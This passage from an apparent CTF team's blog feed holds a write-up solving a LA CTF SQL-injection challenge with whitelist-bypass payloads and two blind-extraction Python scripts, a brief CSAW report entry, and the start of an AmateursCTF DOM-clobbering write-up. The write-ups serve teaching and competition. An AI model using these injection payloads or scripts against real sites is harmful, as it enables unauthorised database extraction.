<p>The code is straightforward: the first half deals only with connections and setup, while the <code>submit</code> endpoint checks that the characters entered by the user are part of the whitelist (letters, numbers, <code>{}</code>, and <code>_</code>), which effectively consists of the characters that can be part of the flag.</p>
<h2 id="the-ideal-thought-process">The ideal thought process</h2>
<p>A quick analysis of the code can already tell us everything we need to know, but why not play around with the only input available on the site?</p>
<img class="img-responsive" src="/lactf2024/penguin-login/vid/code200.gif" alt="code 200 example">
<img class="img-responsive" src="/lactf2024/penguin-login/vid/code201.gif" alt="code 201 example">
<p>We can thus see the differences in response depending on the input. If a penguin is found, a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status">status code</a> is returned, while if nothing is found, we get a 201.</p>
<p>As we can see in line 63, the query is constructed using string interpolation with <a href="https://www.programiz.com/python-programming/string-interpolation#:~:text=Example%203">%-formatting</a> which allows for user input. This approach is vulnerable to <a href="https://stackoverflow.com/questions/51960654/python-string-formatting-percentage-symbol-after-string-substituion">SQL injection</a>, and the challenge author has simulated a makeshift solution through a system of <a href="https://www.ninjaone.com/it-hub/endpoint-security/what-is-input-sanitization/#:~:text=Input%20sanitization%20methods">whitelisting e blacklisting</a>.</p>
<h3 id="exploiting-the-vulnerability">Exploiting the vulnerability</h3>
<p>There&rsquo;s no way to use comments! How will we do it??? 😭😭😭
In this case, it&rsquo;s not a tragedy, since we only need to get rid of one apostrophe. We just need to close the payloads with a string. This means that instead of using the classic logic SQLi test <code>' OR 1=1</code>, we&rsquo;ll use its alternative <code>' OR 'a'='a'</code>, without the final apostrophe since we&rsquo;ll use the last &lsquo;a&rsquo; to &ldquo;burn&rdquo; the extra apostrophe present in the code.</p>
<p>Nice thinking, the problem is that the equal sign is not whitelisted. We can&rsquo;t even use <code>LIKE</code> instead of the equal sign, since it&rsquo;s blacklisted.</p>
<p>In SQL, we can indicate boolean values with 0 and 1, and this applies even if they are strings. So, just like <code>' OR 1</code> returns <code>TRUE</code>, so does <code>' OR '1</code>.</p>
<img class="img-responsive" src="/lactf2024/penguin-login/vid/injTest.gif" alt="First injection test">
<p>It works! Now we just have to adjust the injection in order to exfiltrate the flag.</p>
<p>But there&rsquo;s no way to use <code>LIKE</code> (I&rsquo;m not completely sure about this one, but I did not use it). Searching on the internet for <em>LIKE alternative in postgreSQL</em>, among the top results, I found sections <a href="https://www.postgresql.org/docs/7.3/functions-matching.html#:~:text=6.6.%20Pattern%20Matching">6.6</a> and <a href="https://www.postgresql.org/docs/current/functions-matching.html#FUNCTIONS-MATCHING">9.7</a> of the documentation, both concerning pattern matching. In these parts of the documentation, an alternative to the <code>LIKE</code> statement is indicated, namely <code>SIMILAR TO</code>, which differs from the former only in the interpretation of RegEx. For our purposes, there is no difference.</p>
<p>At this point, we have practically won, and all that&rsquo;s left is to build the payload and the corresponding script. Probably SQLmap already had some shit available for the occasion, but I don&rsquo;t really care.</p>
<h4 id="tips-for-beginners">Tips for beginners</h4>
<p>At this point, for a player with a decent level of experience, the challenge is already solved. However, if it&rsquo;s one of the first times solving a SQLi UNION-based challenge, it&rsquo;s possible to take a few extra intermediate steps to make it clearer what is being executed by the DBMS and how the payload should be constructed.</p>
<h5 id="copying-the-vulnerable-line-and-playing-with-it">Copying the vulnerable line, and playing with it</h5>
<p>In the line <code>&quot;SELECT * FROM penguins WHERE name = '%s'&quot; % username</code>, our input is directly inserted in place of <code>%s</code>. To ensure that you are writing a sensible payload, you can first try writing it in place of the placeholder:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#fc5fa3">SELECT</span> * <span style="color:#fc5fa3">FROM</span> penguins <span style="color:#fc5fa3">WHERE</span> name = <span style="color:#fc6a5d">&#39;&#39;</span> <span style="color:#fc5fa3">OR</span> <span style="color:#fc6a5d">&#39;1&#39;</span>
</span></span></code></pre></div><img class="img-responsive" src="/lactf2024/penguin-login/vid/PlayTest.gif" alt='Example of the just presented "technique"'>
<p>Make sure not to use the mouse or arrow keys (in other words, don&rsquo;t move the cursor) while you&rsquo;re testing your inputs ;)</p>
<h5 id="understanding-if-the-payload-makes-sense">Understanding if the payload makes sense</h5>
<p>Instead of blindly using a command/trick/workaround/technique that you see for the first time, make sure first that it works as you imagine in a more &ldquo;relaxed&rdquo; context, where you can write and access outputs and error logs without limitations. Discovering that the query returned <code>false</code> because you were not running the command correctly, or that it errored because the command was related to another DBMS, is particularly frustrating.</p>
<p>There are services (like <a href="https://onecompiler.com/postgresql/">OneCompiler</a>, that allow you to execute code directly online. Always make sure 100% when using these services that you have selected the right DBMS.</p>
<img class="img-responsive" src="/lactf2024/penguin-login/img/OnlineExample.png" alt="Example of using OneCompiler to verify the result of an unconventional query">
<h5 id="proceed-in-phases">Proceed in phases</h5>
<p>It&rsquo;s helpful to reason in phases the first few times. In mathematics, we can start skipping steps during calculations, but only because we&rsquo;ve become familiar enough:</p>
<ul>
<li>Identify your goal: in this case, &ldquo;I want to get the flag&rdquo; -&gt; &ldquo;I want to get all the characters of the record that starts with the flag format and ends with <code>}</code>&rdquo;.</li>
<li>Write it down as you would normally: <code>SELECT name WHERE name LIKE 'lactf{ % }'</code>.</li>
<li>Rewrite it bypassing whitelist and blacklist: <code>SELECT name WHERE name SIMILAR TO 'lactf{_}'</code> with as many <code>_</code> as there are characters in the flag.</li>
<li>Combine the two techniques shown previously: <code>SELECT name WHERE name SIMILAR TO 'lactf{_}'</code> + <code>SELECT * FROM penguins WHERE name = '%s'</code> -&gt; remembering that the only column in the DB is <code>name</code>, and that we can only write commands in place of <code>%s</code>: <code>SELECT * FROM penguins WHERE name = '' UNION SELECT name WHERE name SIMILAR TO 'lactf{_}'</code></li>
</ul>
<p>The payload will simply be what we wrote in this last phase, which is <code>' UNION SELECT name WHERE name SIMILAR TO 'lactf{_}</code></p>
<h3 id="constructing-the-payload">Constructing the payload</h3>
<p>At this point, all we have to do is construct a <code>UNION</code> with a <code>SIMILAR TO</code> instead of the more popular <code>LIKE</code>. In my case: <code>' UNION SELECT name WHERE name SIMILAR TO 'lactf{_}</code>.</p>
<p>I&rsquo;m not sure if there was a more convenient way to get the length of the flag, but I just added underscores until I got a positive result. These are the payloads useful for extracting the flag, modified from those used during the competition:</p>
<p><code>findlen.py</code></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> requests <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>URL = <span style="color:#fc6a5d">&#34;https://penguin.chall.lac.tf/&#34;</span>
</span></span><span style="display:flex;"><span>s = Session()
</span></span><span style="display:flex;"><span>payloadStart = <span style="color:#fc6a5d">&#34;&#39; OR name SIMILAR TO &#39;lactf{&#34;</span>
</span></span><span style="display:flex;"><span>payloadEnd = <span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>i = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>    payload = payloadStart + payloadEnd + <span style="color:#fc6a5d">&#34;}&#34;</span>
</span></span><span style="display:flex;"><span>    r = s.post(URL + <span style="color:#fc6a5d">&#34;submit&#34;</span>, data={<span style="color:#fc6a5d">&#34;username&#34;</span>: payload})
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> r.status_code == <span style="color:#d0bf69">200</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;worked: &#34;</span>, payload)
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>        payloadEnd += <span style="color:#fc6a5d">&#34;_&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;failed: &#34;</span>, payload)
</span></span></code></pre></div><p><code>findflag.py</code></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> requests <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> string <span style="color:#fc5fa3">import</span> digits, ascii_uppercase, ascii_lowercase
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>URL = <span style="color:#fc6a5d">&#34;https://penguin.chall.lac.tf/&#34;</span>
</span></span><span style="display:flex;"><span>s = Session()
</span></span><span style="display:flex;"><span>payloadStart = <span style="color:#fc6a5d">&#34;&#39; OR name SIMILAR TO &#39;lactf{&#34;</span>
</span></span><span style="display:flex;"><span>payloadEnd = <span style="color:#fc6a5d">&#34;______________________________________&#34;</span>
</span></span><span style="display:flex;"><span>i = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(payloadEnd) &gt; <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>        payloadEnd = payloadEnd[:-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> c in digits + ascii_lowercase + ascii_uppercase:
</span></span><span style="display:flex;"><span>        payload = payloadStart + c + payloadEnd + <span style="color:#fc6a5d">&#34;}&#34;</span>
</span></span><span style="display:flex;"><span>        r = s.post(URL + <span style="color:#fc6a5d">&#34;submit&#34;</span>, data={<span style="color:#fc6a5d">&#34;username&#34;</span>: payload})
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> r.status_code == <span style="color:#d0bf69">200</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;worked: &#34;</span>, payload)
</span></span><span style="display:flex;"><span>            payloadStart += c
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;failed: &#34;</span>, payload)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>        payloadStart += <span style="color:#fc6a5d">&#34;_&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;skipping: &#34;</span>, payload)
</span></span></code></pre></div><p>Due to infrastructure issues, the first character of the flag couldn&rsquo;t be retrieved. I had to guess it (in quite a few attempts xd)</p>
<img class="img-responsive" src="/lactf2024/penguin-login/vid/FinalPayload.gif" alt="Execution of the final script">
<p><code>lactf{90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0}</code></p>
<img class="img-responsive" src="/lactf2024/penguin-login/img/InterestingTicket.png" alt="Extract from an interesting conversation had in a ticket">
<h3 id="how-it-actually-went-during-the-ctf">How it actually went during the CTF</h3>
<p>One evening, I was at the gym to vent the frustration of not being able to find a rock on the west coast of California, United States (I love OSINT). Just before leaving, I heard that one of my teammates was having a bad time with an SQLi. &ldquo;Let me solve it,&rdquo; I wrote to him.</p>
<p>I hadn&rsquo;t read the code yet when I received a message on Discord from said player, expressing interest in solving the challenge. &ldquo;Just use <code>_</code>&rdquo;, I said jokingly. I didn&rsquo;t know that the character was actually whitelisted.</p>
<p>My teammate had already discovered the existence of <code>SIMILAR TO</code>, so once I got home, I only had to deal with writing the payload.</p>
<h4 id="payload-used-during-the-ctf">Payload used during the CTF</h4>
<p><code>findlen.py</code></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> requests <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> bs4 <span style="color:#fc5fa3">import</span> BeautifulSoup
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>URL = <span style="color:#fc6a5d">&#34;https://penguin.chall.lac.tf/&#34;</span>
</span></span><span style="display:flex;"><span>s = Session()
</span></span><span style="display:flex;"><span>payloadStart = <span style="color:#fc6a5d">&#34;&#39; OR name SIMILAR TO &#39;lactf{&#34;</span>
</span></span><span style="display:flex;"><span>payloadEnd = <span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>i = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>    payload = payloadStart + payloadEnd + <span style="color:#fc6a5d">&#34;}&#34;</span>
</span></span><span style="display:flex;"><span>    r = s.post(URL + <span style="color:#fc6a5d">&#34;submit&#34;</span>, data={<span style="color:#fc6a5d">&#34;username&#34;</span>: payload})
</span></span><span style="display:flex;"><span>    soup = BeautifulSoup(r.text, <span style="color:#fc6a5d">&#34;html.parser&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> <span style="color:#fc6a5d">&#34;We found a penguin&#34;</span> in soup.get_text():
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;worked: &#34;</span>, payload)
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>        payloadEnd += <span style="color:#fc6a5d">&#34;_&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;failed: &#34;</span>, payload)
</span></span></code></pre></div><p><code>findflag.py</code></p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> requests <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> bs4 <span style="color:#fc5fa3">import</span> BeautifulSoup
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> string <span style="color:#fc5fa3">import</span> digits, ascii_uppercase, ascii_lowercase
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>URL = <span style="color:#fc6a5d">&#34;https://penguin.chall.lac.tf/&#34;</span>
</span></span><span style="display:flex;"><span>s = Session()
</span></span><span style="display:flex;"><span>payloadStart = <span style="color:#fc6a5d">&#34;&#39; OR name SIMILAR TO &#39;lactf{&#34;</span>
</span></span><span style="display:flex;"><span>payloadEnd = <span style="color:#fc6a5d">&#34;______________________________________&#34;</span>
</span></span><span style="display:flex;"><span>i = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>    payloadEnd = payloadEnd[:-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> c in digits + ascii_lowercase + ascii_uppercase + <span style="color:#fc6a5d">&#34;!-@&#34;</span>:
</span></span><span style="display:flex;"><span>        payload = payloadStart + c + payloadEnd + <span style="color:#fc6a5d">&#34;}&#34;</span>
</span></span><span style="display:flex;"><span>        r = s.post(URL + <span style="color:#fc6a5d">&#34;submit&#34;</span>, data={<span style="color:#fc6a5d">&#34;username&#34;</span>: payload})
</span></span><span style="display:flex;"><span>        soup = BeautifulSoup(r.text, <span style="color:#fc6a5d">&#34;html.parser&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> <span style="color:#fc6a5d">&#34;We found a penguin&#34;</span> in soup.get_text():
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;worked: &#34;</span>, payload)
</span></span><span style="display:flex;"><span>            payloadStart += c
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;failed: &#34;</span>, payload)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;end: &#34;</span>, payload)
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">break</span>
</span></span></code></pre></div><p>I was too lazy to press F12 while playing around, so I just based my final payload on the <code>&quot;We found a penguin!!!!!&quot;</code> response.</p>
]]></content></item><item><title>CSAW '23 Embedded Security Challenge Report</title><link>https://theromanxpl0.it/posts/2023/09/csaw-23-embedded-security-challenge-report/</link><pubDate>Thu, 28 Sep 2023 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2023/09/csaw-23-embedded-security-challenge-report/</guid><description>&lt;style>
.responsive-wrap iframe { max-width: 100%;}
&lt;/style>
&lt;p>We participated in the &lt;a href="https://www.csaw.io/esc">CSAW Embedded Security Challenge&lt;/a> 2023. Below is our qualification report that allowed us to qualify for the final, which took place at Esisar in Valence.&lt;/p>
&lt;h2 id="trx-technical-labs---qualification-report">TRX Technical Labs - Qualification report&lt;/h2>
&lt;div class="responsive-wrap">
&lt;iframe src="https://theromanxpl0.it/csaw23/CSAW_quals_paper_2023.pdf" width="100%" height="1080">&lt;/iframe>
&lt;/div></description><content type="html"><![CDATA[<style>
    .responsive-wrap iframe { max-width: 100%;}
</style>
<p>We participated in the <a href="https://www.csaw.io/esc">CSAW Embedded Security Challenge</a> 2023. Below is our qualification report that allowed us to qualify for the final, which took place at Esisar in Valence.</p>
<h2 id="trx-technical-labs---qualification-report">TRX Technical Labs - Qualification report</h2>
<div class="responsive-wrap">
    <iframe src="/csaw23/CSAW_quals_paper_2023.pdf" width="100%" height="1080"></iframe>
</div>
]]></content></item><item><title>AmateursCTF 2023 - Sanity</title><link>https://theromanxpl0.it/posts/2023/07/amateursctf-2023-sanity/</link><pubDate>Tue, 25 Jul 2023 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2023/07/amateursctf-2023-sanity/</guid><description>&lt;h2 id="context">Context&lt;/h2>
&lt;p>We&amp;rsquo;re given a very simple website where we can write rants.&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/amtctf2023/sanity-home.png" alt="Screenshot of Sanity's home page" width="541" height="229">
&lt;p>After posting our rant, we&amp;rsquo;re redirected to its page, where its title, content and a report link are shown.&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/amtctf2023/sanity-rant.png" alt="Screenshot of an example rant in Sanity" width="631" height="312">
&lt;p>We can see that the page accepts HTML. However, we can&amp;rsquo;t just write &lt;em>whatever&lt;/em> we want, because the input is sanitized by the client using the &lt;strong>Sanitizer API&lt;/strong>.
Here&amp;rsquo;s the code of the rant page:&lt;/p></description><content type="html"><![CDATA[<h2 id="context">Context</h2>
<p>We&rsquo;re given a very simple website where we can write rants.</p>
<img class="img-responsive" src="/amtctf2023/sanity-home.png" alt="Screenshot of Sanity's home page" width="541" height="229">
<p>After posting our rant, we&rsquo;re redirected to its page, where its title, content and a report link are shown.</p>
<img class="img-responsive" src="/amtctf2023/sanity-rant.png" alt="Screenshot of an example rant in Sanity" width="631" height="312">
<p>We can see that the page accepts HTML. However, we can&rsquo;t just write <em>whatever</em> we want, because the input is sanitized by the client using the <strong>Sanitizer API</strong>.
Here&rsquo;s the code of the rant page:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#fd8f3f">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;html lang=<span style="color:#fc6a5d">&#34;en&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;head&gt;
</span></span><span style="display:flex;"><span>    &lt;meta charset=<span style="color:#fc6a5d">&#34;UTF-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;meta http-equiv=<span style="color:#fc6a5d">&#34;X-UA-Compatible&#34;</span> content=<span style="color:#fc6a5d">&#34;IE=edge&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;meta name=<span style="color:#fc6a5d">&#34;viewport&#34;</span> content=<span style="color:#fc6a5d">&#34;width=device-width, initial-scale=1.0&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;title&gt;sanity - TRX%20is%20the%20%3Cb%3Ebest%3C%2Fb%3E&lt;/title&gt;
</span></span><span style="display:flex;"><span>&lt;/head&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>    &lt;h1 id=<span style="color:#fc6a5d">&#34;title&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;script&gt;
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">const</span> sanitizer = <span style="color:#fc5fa3">new</span> Sanitizer();
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">document</span>.getElementById(<span style="color:#fc6a5d">&#34;title&#34;</span>).setHTML(<span style="color:#d0a8ff">decodeURIComponent</span>(<span style="color:#fc6a5d">`TRX%20is%20the%20%3Cb%3Ebest%3C%2Fb%3E`</span>), { sanitizer });
</span></span><span style="display:flex;"><span>        &lt;/script&gt;
</span></span><span style="display:flex;"><span>    &lt;/h1&gt;
</span></span><span style="display:flex;"><span>    &lt;div id=<span style="color:#fc6a5d">&#34;paste&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;script&gt;
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">class</span> Debug {
</span></span><span style="display:flex;"><span>                <span style="color:#960050">#</span>sanitize;
</span></span><span style="display:flex;"><span>                constructor(sanitize = <span style="color:#fc5fa3">true</span>) {
</span></span><span style="display:flex;"><span>                    <span style="color:#fc5fa3">this</span>.<span style="color:#960050">#</span>sanitize = sanitize
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                get sanitize() {
</span></span><span style="display:flex;"><span>                    <span style="color:#fc5fa3">return</span> <span style="color:#fc5fa3">this</span>.<span style="color:#960050">#</span>sanitize;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">async</span> <span style="color:#fc5fa3">function</span> loadBody() {
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">let</span> extension = <span style="color:#fc5fa3">null</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">if</span> (<span style="color:#d0a8ff">window</span>.debug?.extension) {
</span></span><span style="display:flex;"><span>                    <span style="color:#fc5fa3">let</span> res = <span style="color:#fc5fa3">await</span> fetch(<span style="color:#d0a8ff">window</span>.debug?.extension.toString());
</span></span><span style="display:flex;"><span>                    extension = <span style="color:#fc5fa3">await</span> res.json();
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">const</span> debug = <span style="color:#d0a8ff">Object</span>.assign(<span style="color:#fc5fa3">new</span> Debug(<span style="color:#fc5fa3">true</span>), extension ?? { report: <span style="color:#fc5fa3">true</span> });
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">let</span> body = <span style="color:#d0a8ff">decodeURIComponent</span>(<span style="color:#fc6a5d">`Reasons%3A%0A[...redacted]`</span>);
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">if</span> (debug.report) {
</span></span><span style="display:flex;"><span>                    <span style="color:#fc5fa3">const</span> reportLink = <span style="color:#d0a8ff">document</span>.createElement(<span style="color:#fc6a5d">&#34;a&#34;</span>);
</span></span><span style="display:flex;"><span>                    reportLink.innerHTML = <span style="color:#fc6a5d">`Report iowgxi0XbHQrG2pPUoiqd`</span>;
</span></span><span style="display:flex;"><span>                    reportLink.href = <span style="color:#fc6a5d">`report/iowgxi0XbHQrG2pPUoiqd`</span>;
</span></span><span style="display:flex;"><span>                    reportLink.style.marginTop = <span style="color:#fc6a5d">&#34;1rem&#34;</span>;
</span></span><span style="display:flex;"><span>                    reportLink.style.display = <span style="color:#fc6a5d">&#34;block&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                    <span style="color:#d0a8ff">document</span>.body.appendChild(reportLink)
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">if</span> (debug.sanitize) {
</span></span><span style="display:flex;"><span>                    <span style="color:#d0a8ff">document</span>.getElementById(<span style="color:#fc6a5d">&#34;paste&#34;</span>).setHTML(body, { sanitizer })
</span></span><span style="display:flex;"><span>                } <span style="color:#fc5fa3">else</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#d0a8ff">document</span>.getElementById(<span style="color:#fc6a5d">&#34;paste&#34;</span>).innerHTML = body
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            loadBody();
</span></span><span style="display:flex;"><span>        &lt;/script&gt;
</span></span><span style="display:flex;"><span>    &lt;/div&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>The Sanitizer API is relatively recent, having been introduced between 2020 and 2021, and is a pretty solid way of preventing XSS: it won&rsquo;t allow any JS code to be injected into the page. We can&rsquo;t get around that.</p>
<p>What we can see, however, is that while the title is always sanitized, the content is sanitized only if the <code>Debug</code> class instructs to do so. The script will also check if <code>window.debug.extension</code> exists, <strong>after</strong> rendering the title, and will eventually load <code>Debug</code>&rsquo;s configuration from the URL specified in there. If we&rsquo;re able to inject that URL, we can disable sanitization. How?</p>
<h2 id="dom-clobberings-magic">DOM Clobbering&rsquo;s magic</h2>
<p>There&rsquo;s a very nice technique to create objects inside <code>window</code> only using HTML: tags with an <code>id</code> attribute (<code>name</code> also works with some tags) will automatically be made available inside the <code>window</code> object by the browser. For example, <code>&lt;img id='a' /&gt;</code> will result in <code>window.a</code> being a reference to the image:</p>
<img class="img-responsive" src="/amtctf2023/sanity-example.png" alt="Basic example of DOM clobbering" width="350" height="122">
<p>This doesn&rsquo;t apply to all tags. Most notably, it applies to links, images, forms, iframes and objects.</p>
<p>A very useful consequence of this behaviour is that we can inject strings: calling <code>toString()</code> on a link will return its <code>href</code> attribute, and that&rsquo;s exactly what we need. For this challenge, however, we need to create a string <em>inside an object</em>.</p>
<p>There are ways to clobber <em>deeper than one level</em>. One such way is to use form inputs, because they&rsquo;re accessible from the parent form object. For example,</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;form name=<span style="color:#fc6a5d">&#39;a&#39;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;input name=<span style="color:#fc6a5d">&#39;b&#39;</span> /&gt;
</span></span><span style="display:flex;"><span>&lt;/form&gt;
</span></span></code></pre></div><p>would let us access the input using <code>window.a.b</code>. Other ways include nesting iframes and other objects, but it may be impossible to do so when dealing with sanitizers.</p>
<p>So it should be easy, right? We could try to put a link inside a link, or a link inside a form&hellip; but it&rsquo;s not as straightforward as it seems. Let&rsquo;s try it locally:</p>
<img class="img-responsive" src="/amtctf2023/sanity-test1.png" alt="Failed test of two-level clobbering" width="728" height="116">
<img class="img-responsive" src="/amtctf2023/sanity-test2.png" alt="Another failed test of two-level clobbering" width="661" height="116">
<p>What&rsquo;s happening?</p>
<p>Expect for inputs, objects can actually be referenced with their ID or name only from <code>window</code> directly, which makes sense. Can we get around that?</p>
<p>I got stuck here for a while, but as it turns out, we can. The key is having <strong>multiple objects with the same ID</strong>. While semantically incorrect, the JS engine will not ignore them, and will kindly put them in a collection for us; at that point, we can access a single object either by its array index or by its name, which will hopefully be unique.</p>
<img class="img-responsive" src="/amtctf2023/sanity-test3.png" alt="Successful test of two-level clobbering" width="661" height="116">
<p>Success!</p>
<h2 id="finalizing-the-payload">Finalizing the payload</h2>
<p>I spent a lot of time here, because my webhook address made the payload too long, and most free webhooks available online don&rsquo;t allow enabling CORS headers, which are needed to make a successful cross-site fetch.</p>
<p>In the end, I settled for this title:</p>
